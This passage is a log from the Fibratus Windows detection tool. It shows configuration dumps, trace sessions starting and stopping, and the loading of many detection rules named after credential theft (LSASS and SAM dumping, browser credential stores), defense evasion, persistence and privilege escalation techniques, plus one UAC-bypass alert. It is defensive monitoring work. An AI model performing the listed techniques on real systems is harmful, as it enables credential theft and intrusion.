from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] elasticsearch=>[ sniff=>false healthcheck-timeout=>5s trace-log=>false enabled=>false servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s bulk-workers=>1 healthcheck=>true healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false template-name=>fibratus] amqp=>[ delivery-mode=>transient vhost=>/ exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 durable=>false exchange-type=>topic routing-key=>fibratus timeout=>5s] eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false endpoints=>[] enable-gzip=>false timeout=>5s]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-allocs=>false skip-registry=>false excluded-files=>[] enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T15:55:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:55:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:56:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T15:56:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:56:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:59:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T15:59:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:59:06+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T15:59:06+01:00 level=info msg=bootstrapping with pid 19680. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T15:59:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 enable-mem=>false flush-interval=>1s max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-image=>true enable-threadpool=>false enable-fileio=>true min-buffers=>16 enable-vamap=>true enable-handle=>false enable-thread=>true stack-enrichment=>true enable-net=>true enable-audit-api=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ amqp=>[ durable=>false enabled=>false url=>amqp://localhost:5672 delivery-mode=>transient exchange-type=>topic timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 index-name=>fibratus gzip-compression=>false trace-log=>false timeout=>5s sniff=>false flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true template-name=>fibratus] http=>[ serializer=>json method=>POST endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] skip-files=>false enabled=>false skip-allocs=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T15:59:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:59:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:59:43+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-11-21T16:00:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:00:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:00:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:01:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 